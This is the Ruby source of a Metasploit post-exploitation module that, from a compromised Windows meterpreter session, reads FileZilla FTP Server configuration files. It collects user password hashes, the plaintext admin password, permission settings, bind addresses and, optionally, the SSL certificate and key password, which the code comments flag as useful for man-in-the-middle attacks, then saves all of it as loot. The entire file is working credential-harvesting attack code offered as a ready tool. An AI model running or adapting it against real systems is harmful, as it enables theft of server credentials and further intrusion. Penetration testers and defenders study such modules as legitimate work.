## # $Id$ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # web site for more information on licensing and terms of use. # http://metasploit.com/ ## require 'msf/core' require 'rex' require 'rexml/document' require 'msf/core/post/file' class Metasploit3 < Msf::Post include Msf::Post::File def initialize(info={}) super( update_info(info, 'Name' => 'Windows Gather FileZilla FTP Server Credential Collection', 'Description' => %q{ This module will collect credentials from the FileZilla FTP server if installed. }, 'License' => MSF_LICENSE, 'Author' => ['bannedit'], 'Version' => '$Revision$', 'Platform' => ['windows'], 'SessionTypes' => ['meterpreter' ] )) register_options( [ OptBool.new('SSLCERT', [false, 'Loot the SSL Certificate if its there?', false]), # useful perhaps for MITM ], self.class) end def run if session.type != "meterpreter" print_error "Only meterpreter sessions are supported by this post module" return end drive = session.fs.file.expand_path("%SystemDrive%") case session.platform when /win64/i @progs = drive + '\\Program Files (x86)\\' when /win32/i @progs = drive + '\\Program Files\\' end filezilla = check_filezilla if filezilla != nil get_filezilla_creds(filezilla) end end def check_filezilla paths = [] path = @progs + "FileZilla Server\\" print_status("Checking for Filezilla Server directory in: #{path}") begin session.fs.dir.entries(path) rescue ::Exception => e print_error(e.to_s) return end session.fs.dir.foreach(path) do |fdir| if fdir =~ /FileZilla\sServer.*\.xml/i paths << path + fdir end end if !paths.empty? print_status("Found FileZilla Server") print_line("") paths << path + 'FileZilla Server.xml' paths << path + 'FileZilla Server Interface.xml' return paths end return nil end def get_filezilla_creds(paths) fs_xml = "" fsi_xml = "" credentials = Rex::Ui::Text::Table.new( 'Header' => "FileZilla FTP Server Credentials", 'Indent' => 1, 'Columns' => [ "User", "Password", "Host", "Port", "SSL" ]) permissions = Rex::Ui::Text::Table.new( 'Header' => "FileZilla FTP Server Permissions", 'Indent' => 1, 'Columns' => [ "Host", "User", "Dir", "FileRead", "FileDelete", "FileAppend", "DirCreate", "DirDelete", "DirList", "DirSubdirs", "Home", "AutoCreate" ]) configuration = Rex::Ui::Text::Table.new( 'Header' => "FileZilla FTP Server Configuration", 'Indent' => 1, 'Columns' => [ "FTP Port", "FTP Bind IP", "Admin Port", "Admin Bind IP", "Admin Password", "SSL", "SSL Certfile", "SSL Key Password" ]) file = session.fs.file.new(paths[1], "rb") until file.eof? fs_xml << file.read end file.close # user credentials password is just an MD5 hash # admin pass is just plain text. Priorities? creds, perms, config = parse_server(fs_xml) creds.each do |cred| credentials << [cred['host'], cred['port'], cred['user'], cred['password'], cred['ssl']] if session.db_record source_id = session.db_record.id else source_id = nil end # report the goods! report_auth_info( :host => session.sock.peerhost, :port => config['ftp_port'], :sname => 'ftp', :proto => 'tcp', :user => cred['user'], :pass => cred['password'], :ptype => "MD5 hash", :source_id => source_id, :source_type => "exploit", :target_host => config['ftp_bindip'], :target_port => config['ftp_port'] ) end perms.each do |perm| permissions << [perm['host'], perm['user'], perm['dir'], perm['fileread'], perm['filewrite'], perm['filedelete'], perm['fileappend'], perm['dircreate'], perm['dirdelete'], perm['dirlist'], perm['dirsubdirs'], perm['autocreate']] end vprint_status(" Collected the following configuration details:") vprint_status(" FTP Port: %s" % config['ftp_port']) vprint_status(" FTP Bind IP: %s" % config['ftp_bindip']) vprint_status(" SSL: %s" % config['ssl']) vprint_status(" Admin Port: %s" % config['admin_port']) vprint_status(" Admin Bind IP: %s" % config['admin_bindip']) vprint_status(" Admin Pass: %s" % config['admin_pass']) vprint_line("") configuration << [config['ftp_port'], config['ftp_bindip'], config['admin_port'], config['admin_bindip'], config['admin_pass'], config['ssl'], config['ssl_certfile'], config['ssl_keypass']] if session.db_record source_id = session.db_record.id else source_id = nil end # report the goods! report_auth_info( :host => session, :port => config['admin_port'], :sname => 'filezilla-admin', :proto => 'tcp', :user => 'admin', :pass => config['admin_pass'], :type => "password", :source_id => source_id, :source_type => "exploit", :target_host => config['admin_bindip'], :target_port => config['admin_port'] ) p = store_loot("filezilla.server.creds", "text/csv", session, credentials.to_csv, "filezilla_server_credentials.csv", "FileZilla FTP Server Credentials") print_status("Credentials saved in: #{p.to_s}") p = store_loot("filezilla.server.perms", "text/csv", session, permissions.to_csv, "filezilla_server_permissions.csv", "FileZilla FTP Server Permissions") print_status("Permissions saved in: #{p.to_s}") p = store_loot("filezilla.server.config", "text/csv", session, configuration.to_csv, "filezilla_server_configuration.csv", "FileZilla FTP Server Configuration") print_status("Config saved in: #{p.to_s}") end def parse_server(data) creds = [] perms = [] settings = {} users = 0 passwords = 0 groups = [] perm = {} doc = REXML::Document.new(data).root items = doc.elements.to_a("//Settings//Item/") settings['ftp_port'] = items[0].text rescue "" settings['admin_port'] = items[16].text rescue "" settings['admin_pass'] = items[17].text rescue "" settings['local_host'] = items[18].text rescue "" settings['bindip'] = items[38].text rescue "" settings['ssl'] = items[42].text rescue "" if settings['local_host'] # empty means localhost only * is 0.0.0.0 settings['admin_bindip'] = settings['local_host'] else settings['admin_bindip'] = "127.0.0.1" end if settings['admin_bindip'] == "*" settings['admin_bindip'] = "0.0.0.0" end if settings['bindip'] settings['ftp_bindip'] = settings['bindip'] else settings['ftp_bindip'] = "127.0.0.1" end # make the bindip a little easier to understand if settings['ftp_bindip'] == "*" settings['ftp_bindip'] = "0.0.0.0" end if settings['ssl'] == "1" settings['ssl'] = "true" else if datastore['SSLCERT'] print_error("Cannot loot the SSL Certificate, SSL is disabled in the configuration file") end settings['ssl'] = "false" end settings['ssl_certfile'] = items[45].text rescue "" if settings['ssl_certfile'] != "" and settings['ssl'] == "true" and datastore['SSLCERT'] # lets get the file if its there could be useful in MITM attacks sslfile = session.fs.file.new(settings['ssl_certfile']) until sslfile.eof? sslcert << sslfile.read end store_loot("filezilla.server.ssl.cert", "text/plain", session, sslfile, settings['ssl_cert'] + ".txt", "FileZilla Server SSL Certificate File" ) print_status("Looted SSL Certificate File") end if settings['ssl_certfile'].nil? settings['ssl_certfile'] = "" end settings['ssl_keypass'] = items[50].text rescue "" if settings['ssl_keypass'].nil? settings['ssl_keypass'] = "" end doc.elements['Users'].elements.each('User') do |user| account = {} account['user'] = user.attributes['Name'] rescue "" users += 1 opt = user.elements.to_a("//User//Option/") account['password'] = opt[0].text rescue "" account['group'] = opt[1].text rescue "" passwords += 1 groups << account['group'] user.elements.to_a("//User//Permissions//Permission").each do |permission| perm['user'] = account['user'] # give some context as to which user has these permissions perm['dir'] = permission.attributes['Dir'] opt = permission.elements.to_a("//User//Permissions//Permission//Option") perm['fileread'] = opt[0].text rescue "" perm['filewrite'] = opt[1].text rescue "" perm['filedelete'] = opt[2].text rescue "" perm['fileappend'] = opt[3].text rescue "" perm['dircreate'] = opt[4].text rescue "" perm['dirdelete'] = opt[5].text rescue "" perm['dirlist'] = opt[6].text rescue "" perm['dirsubdirs'] = opt[7].text rescue "" perm['autocreate'] = opt[9].text rescue "" if opt[8].text == "1" perm['home'] = "true" else perm['home'] = "false" end perms << perm end user.elements.to_a("//User//IpFilter//Allowed").each do |allowed| end user.elements.to_a("//User//IpFilter//Disallowed").each do |disallowed| end account['host'] = settings['ftp_bindip'] perm['host'] = settings['ftp_bindip'] account['port'] = settings['ftp_port'] account['ssl'] = settings['ssl'] creds << account vprint_status(" Collected the following credentials:") vprint_status(" Username: %s" % account['user']) vprint_status(" Password: %s" % account['password']) vprint_status(" Group: %s" % account['group']) vprint_line("") end groups = groups.uniq unless groups.uniq.nil? if !datastore['VERBOSE'] print_status(" Collected the following credentials:") print_status(" Usernames: %u" % users) print_status(" Passwords: %u" % passwords) print_status(" Groups: %u" % groups.length) print_line("") end return [creds, perms, settings] end def got_root? if session.sys.config.getuid =~ /SYSTEM/ return true end return false end def whoami return session.fs.file.expand_path("%USERNAME%") end end